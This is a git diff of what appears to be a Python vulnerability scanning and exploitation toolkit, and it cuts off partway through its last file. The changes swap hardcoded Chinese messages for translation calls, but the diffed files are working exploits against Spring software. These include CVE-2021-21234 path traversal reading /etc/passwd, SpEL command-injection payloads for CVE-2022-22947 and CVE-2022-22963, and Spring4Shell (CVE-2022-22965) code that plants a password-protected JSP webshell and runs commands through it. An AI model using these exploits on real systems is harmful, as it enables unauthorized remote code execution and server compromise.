62f7764..c6523ab 100644 --- a/vuls/CVE_2021_21234.py +++ b/vuls/CVE_2021_21234.py @@ -2,6 +2,8 @@ import requests +from util.Translate import tr + class CVE_2021_21234: def __init__(self): self.payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' @@ -20,20 +22,20 @@ def poc(self,url,proxies,ProxyStute): re3 = requests.post(url=url + self.payload3, verify=False, proxies=proxies) re4 = requests.post(url=url + self.payload4, verify=False, proxies=proxies) if (('MAPI' in str(re1.text)) or ('MAPI' in str(re2.text))): - result = "[+] 发现Spring Boot目录遍历漏洞且系统为Win\n" + result = tr("v.21234.win") result1 = f"{url + self.payload1}\n" result2 = f"{url + self.payload2}" return result + result1 + result2 elif (('root:x:' in str(re3.text)) or ('root:x:' in str(re4.text))): - result = "[+] 发现Spring Boot目录遍历漏洞且系统为Linux\n" + result = tr("v.21234.linux") result1 = f"{url + self.payload3}\n" result2 = f"{url + self.payload4}" return result + result1 + result2 else: - result = f"[-] {url} 未发现Spring Boot目录遍历漏洞" + result = tr("v.21234.none", url=url) return result except Exception as e: - error = f"[error] {url} 未知错误 {e}" + error = tr("v.unknown", url=url, e=e) return error def exp(self,url,proxies,ProxyStute,cmd): # 目录遍历不存在EXP diff --git a/vuls/CVE_2021_21234_Async.py b/vuls/CVE_2021_21234_Async.py index c21d4f6..b8e9ab7 100644 --- a/vuls/CVE_2021_21234_Async.py +++ b/vuls/CVE_2021_21234_Async.py @@ -3,6 +3,8 @@ import aiohttp import asyncio +from util.Translate import tr + class CVE_2021_21234_Async: def __init__(self): self.payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' @@ -35,20 +37,20 @@ async def poc(self, url, proxies, ProxyStute): responses = await asyncio.gather(*tasks) if any('MAPI' in str(resp) for resp in responses[:2]): - result = "[+] 发现Spring Boot目录遍历漏洞且系统为Win\n" + result = tr("v.21234.win") result1 = f"{url + self.payload1}\n" result2 = f"{url + self.payload2}" return result + result1 + result2 elif any('root:x:' in str(resp) for resp in responses[2:]): - result = "[+] 发现Spring Boot目录遍历漏洞且系统为Linux\n" + result = tr("v.21234.linux") result1 = f"{url + self.payload3}\n" result2 = f"{url + self.payload4}" return result + result1 + result2 else: - result = f"[-] {url} 未发现Spring Boot目录遍历漏洞" + result = tr("v.21234.none", url=url) return result except Exception as e: - error = f"[error] {url} 未知错误 {e}" + error = tr("v.unknown", url=url, e=e) return error async def exp(self, url, proxies, ProxyStute): pass diff --git a/vuls/CVE_2022_22947.py b/vuls/CVE_2022_22947.py index d6b5984..cd5b35c 100644 --- a/vuls/CVE_2022_22947.py +++ b/vuls/CVE_2022_22947.py @@ -1,73 +1,74 @@ -# coding:utf-8 - -import json -import requests - -from util import RandomUA - -class CVE_2022_22947: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua1 = ua.UserAgent() - self.ua2 = ua.UserAgent() - self.headers1 = { - 'Accept-Encoding': 'gzip, deflate', - 'Accept': '*/*', - 'Accept-Language': 'en', - 'User-Agent': self.ua1, - 'Content-Type': 'application/json' - } - - self.headers2 = { - 'User-Agent': self.ua2, - 'Content-Type': 'application/x-www-form-urlencoded' - } - def cmdStand(self,execcmd): - execcmd = execcmd.strip("\n").strip(" ") - if " " in execcmd: - cmd = execcmd.split(" ") - execcmd = "\\\"" + "\\\", \\\"".join(cmd) + "\\\"" - else: - execcmd = "\\\"" + execcmd + "\\\"" - return execcmd - def poc(self,url,proxies,ProxyStute,cmd="whoami"): - cmd = self.cmdStand(cmd) - payload = '''{\r - "id": "hacktest",\r - "filters": [{\r - "name": "AddResponseHeader",\r - "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{%s}).getInputStream()))}"}\r - }],\r - "uri": "http://example.com",\r - "order": 0\r - }''' % cmd - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - try: - requests.packages.urllib3.disable_warnings() - - re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload, headers=self.headers1, json=json, - verify=False, proxies=proxies) - re2 = requests.post(url=url + "actuator/gateway/refresh", headers=self.headers2, verify=False, proxies=proxies) - re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=self.headers2, verify=False, - proxies=proxies) - re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=self.headers2, verify=False, - proxies=proxies) - re5 = requests.post(url=url + "actuator/gateway/refresh", headers=self.headers2, verify=False, proxies=proxies) - - # if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): - if re5.status_code == 200: - reslut = f"[+] {url} Payload已经输出,回显结果如下" - reslut1 =re3.text.encode("utf-8").decode("unicode_escape") + "\n" - return reslut + reslut1 - else: - reslut = f"[-] {url} CVE-2022-22947漏洞不存在" - return reslut - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - def exp(self,url,proxies,ProxyStute,cmd): - result = self.poc(url,proxies,ProxyStute,cmd) +# coding:utf-8 + +import json +import requests + +from util import RandomUA +from util.Translate import tr + +class CVE_2022_22947: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua1 = ua.UserAgent() + self.ua2 = ua.UserAgent() + self.headers1 = { + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': self.ua1, + 'Content-Type': 'application/json' + } + + self.headers2 = { + 'User-Agent': self.ua2, + 'Content-Type': 'application/x-www-form-urlencoded' + } + def cmdStand(self,execcmd): + execcmd = execcmd.strip("\n").strip(" ") + if " " in execcmd: + cmd = execcmd.split(" ") + execcmd = "\\\"" + "\\\", \\\"".join(cmd) + "\\\"" + else: + execcmd = "\\\"" + execcmd + "\\\"" + return execcmd + def poc(self,url,proxies,ProxyStute,cmd="whoami"): + cmd = self.cmdStand(cmd) + payload = '''{\r + "id": "hacktest",\r + "filters": [{\r + "name": "AddResponseHeader",\r + "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{%s}).getInputStream()))}"}\r + }],\r + "uri": "http://example.com",\r + "order": 0\r + }''' % cmd + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + try: + requests.packages.urllib3.disable_warnings() + + re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload, headers=self.headers1, json=json, + verify=False, proxies=proxies) + re2 = requests.post(url=url + "actuator/gateway/refresh", headers=self.headers2, verify=False, proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=self.headers2, verify=False, + proxies=proxies) + re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=self.headers2, verify=False, + proxies=proxies) + re5 = requests.post(url=url + "actuator/gateway/refresh", headers=self.headers2, verify=False, proxies=proxies) + + # if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): + if re5.status_code == 200: + reslut = tr("v.22947.out", url=url) + reslut1 =re3.text.encode("utf-8").decode("unicode_escape") + "\n" + return reslut + reslut1 + else: + reslut = tr("v.22947.none", url=url) + return reslut + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + def exp(self,url,proxies,ProxyStute,cmd): + result = self.poc(url,proxies,ProxyStute,cmd) return result \ No newline at end of file diff --git a/vuls/CVE_2022_22947_Async.py b/vuls/CVE_2022_22947_Async.py index 6d1d9fa..cfb65cb 100644 --- a/vuls/CVE_2022_22947_Async.py +++ b/vuls/CVE_2022_22947_Async.py @@ -1,79 +1,80 @@ -# coding:utf-8 - -import json -import aiohttp -import asyncio - -from util import RandomUA - -class CVE_2022_22947_Async: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua1 = ua.UserAgent() - self.ua2 = ua.UserAgent() - self.headers1 = { - 'Accept-Encoding': 'gzip, deflate', - 'Accept': '*/*', - 'Accept-Language': 'en', - 'User-Agent': self.ua1, - 'Content-Type': 'application/json' - } - - self.headers2 = { - 'User-Agent': self.ua2, - 'Content-Type': 'application/x-www-form-urlencoded' - } - self.payload = '''{\r - "id": "hacktest",\r - "filters": [{\r - "name": "AddResponseHeader",\r - "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r - }],\r - "uri": "http://example.com",\r - "order": 0\r - }''' - - self.payload2 = '''{\r - "id": "hacktest",\r - "filters": [{\r - "name": "AddResponseHeader",\r - "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"whoami\\"}).getInputStream()))}"}\r - }],\r - "uri": "http://example.com",\r - "order": 0\r - }''' - - async def fetch(self, session, url, payload, headers, proxies): - try: - async with session.post(url=url, data=payload, headers=headers, verify_ssl=False, proxies=proxies) as response: - return await response.text() - except Exception as e: - return str(e) - - async def poc(self, url, proxies, ProxyStute): - if ProxyStute == 1: - proxy = proxies - else: - proxy = None - try: - async with aiohttp.ClientSession() as session: - tasks = [ - self.fetch(session, url + "actuator/gateway/routes/hacktest", self.payload, self.headers1, proxy), - self.fetch(session, url + "actuator/gateway/refresh", "", self.headers2, proxy), - self.fetch(session, url + "actuator/gateway/routes/hacktest", "", self.headers2, proxy), - ] - - responses = await asyncio.gather(*tasks) - - if 'uid=' in str(responses[2]) and 'gid=' in str(responses[2]) and 'groups=' in str(responses[2]): - result = f"[-] {url} Payload已经输出,回显结果如下" - result1 = responses[2] + "\n" - return result + result1 - else: - result = f"[-] {url} CVE-2022-22947漏洞不存在" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - async def exp(self, url, proxies, ProxyStute): +# coding:utf-8 + +import json +import aiohttp +import asyncio + +from util import RandomUA +from util.Translate import tr + +class CVE_2022_22947_Async: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua1 = ua.UserAgent() + self.ua2 = ua.UserAgent() + self.headers1 = { + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': self.ua1, + 'Content-Type': 'application/json' + } + + self.headers2 = { + 'User-Agent': self.ua2, + 'Content-Type': 'application/x-www-form-urlencoded' + } + self.payload = '''{\r + "id": "hacktest",\r + "filters": [{\r + "name": "AddResponseHeader",\r + "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r + }],\r + "uri": "http://example.com",\r + "order": 0\r + }''' + + self.payload2 = '''{\r + "id": "hacktest",\r + "filters": [{\r + "name": "AddResponseHeader",\r + "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"whoami\\"}).getInputStream()))}"}\r + }],\r + "uri": "http://example.com",\r + "order": 0\r + }''' + + async def fetch(self, session, url, payload, headers, proxies): + try: + async with session.post(url=url, data=payload, headers=headers, verify_ssl=False, proxies=proxies) as response: + return await response.text() + except Exception as e: + return str(e) + + async def poc(self, url, proxies, ProxyStute): + if ProxyStute == 1: + proxy = proxies + else: + proxy = None + try: + async with aiohttp.ClientSession() as session: + tasks = [ + self.fetch(session, url + "actuator/gateway/routes/hacktest", self.payload, self.headers1, proxy), + self.fetch(session, url + "actuator/gateway/refresh", "", self.headers2, proxy), + self.fetch(session, url + "actuator/gateway/routes/hacktest", "", self.headers2, proxy), + ] + + responses = await asyncio.gather(*tasks) + + if 'uid=' in str(responses[2]) and 'gid=' in str(responses[2]) and 'groups=' in str(responses[2]): + result = tr("v.22947.out_neg", url=url) + result1 = responses[2] + "\n" + return result + result1 + else: + result = tr("v.22947.none", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + async def exp(self, url, proxies, ProxyStute): pass \ No newline at end of file diff --git a/vuls/CVE_2022_22963.py b/vuls/CVE_2022_22963.py index a04b2cc..3e77637 100644 --- a/vuls/CVE_2022_22963.py +++ b/vuls/CVE_2022_22963.py @@ -1,49 +1,50 @@ -# coding:utf-8 - -import requests -from util import RandomUA - -class CVE_2022_22963: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua = ua.UserAgent() - - self.data = 'test' - - self.path = 'functionRouter' - def poc(self,url,proxies,ProxyStute,cmd="whoami"): - payload = f'T(java.lang.Runtime).getRuntime().exec("{cmd}")' - self.header = { - 'spring.cloud.function.routing-expression': payload, - 'Accept-Encoding': 'gzip, deflate', - 'Accept': '*/*', - 'Accept-Language': 'en', - 'User-Agent': self.ua, - 'Content-Type': 'application/x-www-form-urlencoded' - } - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - try: - url = url + self.path - requests.packages.urllib3.disable_warnings() - - req = requests.post(url=url,headers=self.header, - data=self.data,verify=False,proxies=proxies,timeout=6) - code = req.status_code - text = req.text - rsp = '"error":"Internal Server Error"' - if code == 500 and rsp in text: - result = f'[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,执行命令\n{cmd}' - return result - else: - result = f'[-] {url} CVE-2022-22963漏洞不存在' - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - - def exp(self,url,proxies,ProxyStute,cmd): - result = self.poc(url,proxies,ProxyStute,cmd) +# coding:utf-8 + +import requests +from util import RandomUA +from util.Translate import tr + +class CVE_2022_22963: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua = ua.UserAgent() + + self.data = 'test' + + self.path = 'functionRouter' + def poc(self,url,proxies,ProxyStute,cmd="whoami"): + payload = f'T(java.lang.Runtime).getRuntime().exec("{cmd}")' + self.header = { + 'spring.cloud.function.routing-expression': payload, + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': self.ua, + 'Content-Type': 'application/x-www-form-urlencoded' + } + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + try: + url = url + self.path + requests.packages.urllib3.disable_warnings() + + req = requests.post(url=url,headers=self.header, + data=self.data,verify=False,proxies=proxies,timeout=6) + code = req.status_code + text = req.text + rsp = '"error":"Internal Server Error"' + if code == 500 and rsp in text: + result = tr("v.22963.found", url=url, cmd=cmd) + return result + else: + result = tr("v.22963.none", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + + def exp(self,url,proxies,ProxyStute,cmd): + result = self.poc(url,proxies,ProxyStute,cmd) return result \ No newline at end of file diff --git a/vuls/CVE_2022_22963_Async.py b/vuls/CVE_2022_22963_Async.py index 123f111..ab0fccd 100644 --- a/vuls/CVE_2022_22963_Async.py +++ b/vuls/CVE_2022_22963_Async.py @@ -1,51 +1,52 @@ -# coding:utf-8 - -import aiohttp -from util import RandomUA - -class CVE_2022_22963_Async: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua = ua.UserAgent() - self.payload = f'T(java.lang.Runtime).getRuntime().exec("whoami")' - - self.data = 'test' - self.header = { - 'spring.cloud.function.routing-expression': self.payload, - 'Accept-Encoding': 'gzip, deflate', - 'Accept': '*/*', - 'Accept-Language': 'en', - 'User-Agent': self.ua, - 'Content-Type': 'application/x-www-form-urlencoded' - } - self.path = 'functionRouter' - - async def fetch(self, session, url, headers, data, proxies): - try: - async with session.post(url=url, headers=headers, data=data, verify_ssl=False, proxies=proxies, timeout=6) as response: - return await response.text(), response.status - except Exception as e: - return str(e), 0 - - async def poc(self, url, proxies, ProxyStute): - if ProxyStute == 1: - proxy = proxies - else: - proxy = None - try: - self.url = url + self.path - async with aiohttp.ClientSession() as session: - text, code = await self.fetch(session, self.url, self.header, self.data, proxy) - - rsp = '"error":"Internal Server Error"' - if code == 500 and rsp in text: - result = f'[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,请手动反弹Shell' - return result - else: - result = f'[-] {url} CVE-2022-22963漏洞不存在' - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - async def exp(self, url, proxies, ProxyStute): +# coding:utf-8 + +import aiohttp +from util import RandomUA +from util.Translate import tr + +class CVE_2022_22963_Async: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua = ua.UserAgent() + self.payload = f'T(java.lang.Runtime).getRuntime().exec("whoami")' + + self.data = 'test' + self.header = { + 'spring.cloud.function.routing-expression': self.payload, + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': self.ua, + 'Content-Type': 'application/x-www-form-urlencoded' + } + self.path = 'functionRouter' + + async def fetch(self, session, url, headers, data, proxies): + try: + async with session.post(url=url, headers=headers, data=data, verify_ssl=False, proxies=proxies, timeout=6) as response: + return await response.text(), response.status + except Exception as e: + return str(e), 0 + + async def poc(self, url, proxies, ProxyStute): + if ProxyStute == 1: + proxy = proxies + else: + proxy = None + try: + self.url = url + self.path + async with aiohttp.ClientSession() as session: + text, code = await self.fetch(session, self.url, self.header, self.data, proxy) + + rsp = '"error":"Internal Server Error"' + if code == 500 and rsp in text: + result = tr("v.22963.found_shell", url=url) + return result + else: + result = tr("v.22963.none", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + async def exp(self, url, proxies, ProxyStute): pass \ No newline at end of file diff --git a/vuls/CVE_2022_22965.py b/vuls/CVE_2022_22965.py index db9ef62..af3e031 100644 --- a/vuls/CVE_2022_22965.py +++ b/vuls/CVE_2022_22965.py @@ -1,172 +1,173 @@ -# coding:utf-8 -from fileinput import filename -from time import sleep -import requests -import urllib3 - -from util import RandomUA -from util import JsonMethod -class CVE_2022_22965: - def __init__(self): - ua = RandomUA.RandomUA() - - self.configRead = JsonMethod.JsonMethod() - - self.ua = ua.UserAgent() - self.Headers_1 = { - "User-Agent": self.ua, - "suffix": "%>//", - "c1": "Runtime", - "c2": "<%", - "DNT": "1", - "Content-Type": "application/x-www-form-urlencoded" - } - self.payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - self.payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - self.payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - self.data1 = self.payload_linux - self.data2 = self.payload_win - - self.post_headers = { - "Content-Type": "application/x-www-form-urlencoded" - } - self.get_headers = { - "prefix": "<%", - "suffix": "%>//", - "c": "Runtime", - } - - self.log_pattern1 = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ - f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \ - f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \ - f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di" - self.log_pattern2 = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ - f"if(%2213exp%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in" \ - f"%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()" \ - f"%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20" \ - f"while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di" - self.directory = "webapps/ROOT" - self.log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" - self.log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={self.directory}" - self.log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" - - def poc(self,url,proxies,ProxyStute): - self.expTypeGet = self.configRead.VulnsConfigRead() - self.expType = self.expTypeGet["expType"] - if self.expType == "aabysszg": - result = self.poc1(url,proxies,ProxyStute) - return result - else: - result = self.poc2(url,proxies,ProxyStute) - return result - def poc1(self,url,proxies,ProxyStute): - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - self.getpayload = url + self.payload_http - try: - requests.packages.urllib3.disable_warnings() - requests.post(url, headers=self.Headers_1, data=self.data1, timeout=6, allow_redirects=False, verify=False, - proxies=proxies) - sleep(0.5) - requests.post(url, headers=self.Headers_1, data=self.data2, timeout=6, allow_redirects=False, verify=False, - proxies=proxies) - sleep(0.5) - requests.get(self.getpayload, headers=self.Headers_1, timeout=6, allow_redirects=False, verify=False, proxies=proxies) - sleep(0.5) - - test = requests.get(url + "tomcatwar.jsp", verify=False, proxies=proxies) - if (test.status_code == 200) and ('aabysszg' in str(test.text)): - result = f'[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}tomcatwar.jsp?pwd=aabysszg&cmd=whoami' - return result - else: - result = f'[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址请手动尝试访问:[/tomcatwar.jsp?pwd=aabysszg&cmd=命令]' - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - def poc2(self,url,proxies,ProxyStute): - - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - if self.expType == "default": - self.filename = "shell" - self.log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={self.filename}" - self.exp_data = "&".join([self.log_pattern1, self.log_file_suffix, self.log_file_dir, self.log_file_prefix, - self.log_file_date_format]) - elif self.expType == "13EXP": - self.filename = "wbexp" - self.log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={self.filename}" - self.exp_data = "&".join([self.log_pattern2, self.log_file_suffix, self.log_file_dir, self.log_file_prefix, - self.log_file_date_format]) - else: - return "error" - - try: - requests.packages.urllib3.disable_warnings() - file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" - ret = requests.post(url, headers=self.post_headers, data=file_date_data, verify=False, proxies=proxies) - ret = requests.post(url, headers=self.post_headers, data=self.exp_data, verify=False, proxies=proxies) - result1 = f"[+]Upload Exp: {ret.status_code}\n" - if ret.status_code == 200: - sleep(3) - ret = requests.get(url, headers=self.get_headers, verify=False, proxies=proxies) - sleep(1) - pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" - ret = requests.post(url, headers=self.post_headers, data=pattern_data, verify=False, proxies=proxies) - result2 = f"[+]Wirte Shell Response Code: {ret.status_code}\n" - if ret.status_code == 200: - if self.expType == "default": - result3 = f"[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}shell.jsp?cmd=whoami" - return result1 + result2 + result3 - elif self.expType == "13EXP": - result4 = f"[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}wbexp.jsp?pwd=13exp&cmd=whoami" - return result1 + result2 + result4 - else: - return "error" - else: - result = f"[-]Wirte Shell Response Error: {ret.status_code}" - return result - else: - result = f"[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址自行扫描" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - def exp(self, url, proxies, ProxyStute,cmd): - self.expTypeGet = self.configRead.VulnsConfigRead() - self.expType = self.expTypeGet["expType"] - shell1 = url + f"shell.jsp?cmd={cmd}" - shell2 = url + f"tomcatwar.jsp?pwd=aabysszg&cmd={cmd}" - shell3 = url + f"wbexp.jsp?pwd=13exp&cmd={cmd}" - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - try: - if self.expType == "default": - r = requests.get(url=shell1,proxies=proxies) - elif self.expType == "aabysszg": - r = requests.get(url=shell2,proxies=proxies) - elif self.expType == "13EXP": - r = requests.get(url=shell3,proxies=proxies) - else: - return "error exp" - resp = r.text.strip("\n") - return resp - except urllib3.util.ssl_match_hostname.CertificateError: - result = "[-] CVE_2022_22965命令执行 请求错误" - except urllib3.exceptions.MaxRetryError: - result = "[-] CVE_2022_22965命令执行 请求错误" - except requests.exceptions.SSLError: - result = "[-] CVE_2022_22965命令执行 请求错误" - except: - result = "[-] CVE_2022_22965命令执行 未知错误" - return result -if __name__ == "__main__": - poc = CVE_2022_22965() - result = poc.poc("http://127.0.0.1:8081",proxies=None,ProxyStute=0) +# coding:utf-8 +from fileinput import filename +from time import sleep +import requests +import urllib3 + +from util import RandomUA +from util import JsonMethod +from util.Translate import tr +class CVE_2022_22965: + def __init__(self): + ua = RandomUA.RandomUA() + + self.configRead = JsonMethod.JsonMethod() + + self.ua = ua.UserAgent() + self.Headers_1 = { + "User-Agent": self.ua, + "suffix": "%>//", + "c1": "Runtime", + "c2": "<%", + "DNT": "1", + "Content-Type": "application/x-www-form-urlencoded" + } + self.payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + self.payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + self.payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + self.data1 = self.payload_linux + self.data2 = self.payload_win + + self.post_headers = { + "Content-Type": "application/x-www-form-urlencoded" + } + self.get_headers = { + "prefix": "<%", + "suffix": "%>//", + "c": "Runtime", + } + + self.log_pattern1 = 